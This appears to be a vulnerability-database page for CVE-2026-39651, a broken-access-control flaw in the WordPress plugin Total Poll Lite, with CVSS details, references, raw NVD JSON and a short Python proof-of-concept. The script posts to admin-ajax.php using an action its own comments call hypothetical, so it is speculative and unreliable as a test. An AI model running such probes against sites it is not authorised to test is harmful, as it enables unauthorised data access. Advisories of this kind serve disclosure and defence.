CVE-2026-39651

Description

Missing Authorization vulnerability in TotalSuite Total Poll Lite totalpoll-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Total Poll Lite: from n/a through <= 4.12.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Total Poll Lite <= 4.12.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def check_vuln(target_url):
    # Target endpoint example (might be admin-ajax.php)
    url = f"{target_url}/wp-admin/admin-ajax.php"
    # Payload attempting to access restricted action
    data = {
        "action": "totalpoll_export",  # Hypothetical action based on vulnerability type
        "poll_id": 1
    }
    try:
        # Send request without proper authentication cookies or with low-priv cookies
        response = requests.post(url, data=data, timeout=10)
        if response.status_code == 200 and "results" in response.text:
            print("[+] Vulnerability confirmed! Sensitive data leaked.")
            print(response.text[:200])
        else:
            print("[-] Vulnerability not detected or patched.")
    except Exception as e:
        print(f"[Error] {e}")

if __name__ == "__main__":
    target = "http://example.com"
    check_vuln(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39651
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39651
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39651/
[4] VulDB https://vuldb.com/cve/CVE-2026-39651
[5] https://patchstack.com/database/Wordpress/Plugin/totalpoll-lite/vulnerability/wordpress-total-poll-lite-plugin-4-12-0-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39651", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:36.193", "lastModified": "2026-04-29T10:17:36.257", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in TotalSuite Total Poll Lite totalpoll-lite allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Total Poll Lite: from n/a through <= 4.12.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/totalpoll-lite/vulnerability/wordpress-total-poll-lite-plugin-4-12-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}